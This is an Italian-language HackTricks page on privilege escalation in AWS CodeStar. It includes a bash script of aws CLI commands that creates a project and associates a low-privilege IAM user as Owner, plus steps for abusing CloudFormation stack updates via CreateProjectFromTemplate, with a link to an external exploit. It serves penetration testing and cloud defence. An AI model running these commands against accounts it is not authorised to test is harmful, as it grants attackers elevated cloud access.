AWS - Codestar Privesc

Support HackTricks

Codestar

Puoi trovare ulteriori informazioni su codestar in:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Con questi permessi puoi abusare di un ruolo IAM di codestar per eseguire azioni arbitrarie tramite un template cloudformation. Controlla la pagina seguente:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Questa tecnica utilizza codestar:CreateProject per creare un progetto codestar e codestar:AssociateTeamMember per rendere un utente IAM il proprietario di un nuovo progetto CodeStar, il che concederà loro una nuova policy con alcuni permessi extra.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Se sei già un membro del progetto, puoi utilizzare il permesso codestar:UpdateTeamMember per aggiornare il tuo ruolo a proprietario invece di codestar:AssociateTeamMember.

Impatto Potenziale: Privesc alla policy di codestar generata. Puoi trovare un esempio di quella policy in:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Crea un Nuovo Progetto:

  • Utilizza l'azione codestar:CreateProjectFromTemplate per avviare la creazione di un nuovo progetto.

  • Al termine della creazione, l'accesso è automaticamente concesso per cloudformation:UpdateStack.

  • Questo accesso è specificamente destinato a uno stack associato al ruolo IAM CodeStarWorker-<nome progetto generico>-CloudFormation.

  1. Aggiorna lo Stack Target:

  • Con i permessi CloudFormation concessi, procedi ad aggiornare lo stack specificato.

  • Il nome dello stack di solito seguirà uno dei due modelli:

  • awscodestar-<nome progetto generico>-infrastructure

  • awscodestar-<nome progetto generico>-lambda

  • Il nome esatto dipende dal template scelto (riferendosi allo script di exploit di esempio).

  1. Accesso e Permessi:

  • Dopo l'aggiornamento, ottieni le capacità assegnate al ruolo IAM CloudFormation collegato allo stack.

  • Nota: Questo non fornisce intrinsecamente privilegi di amministratore completi. Potrebbero essere necessarie ulteriori risorse mal configurate all'interno dell'ambiente per elevare ulteriormente i privilegi.

Per ulteriori informazioni, controlla la ricerca originale: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Puoi trovare l'exploit in https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impatto Potenziale: Privesc al ruolo IAM di cloudformation.

Supporta HackTricks

Last updated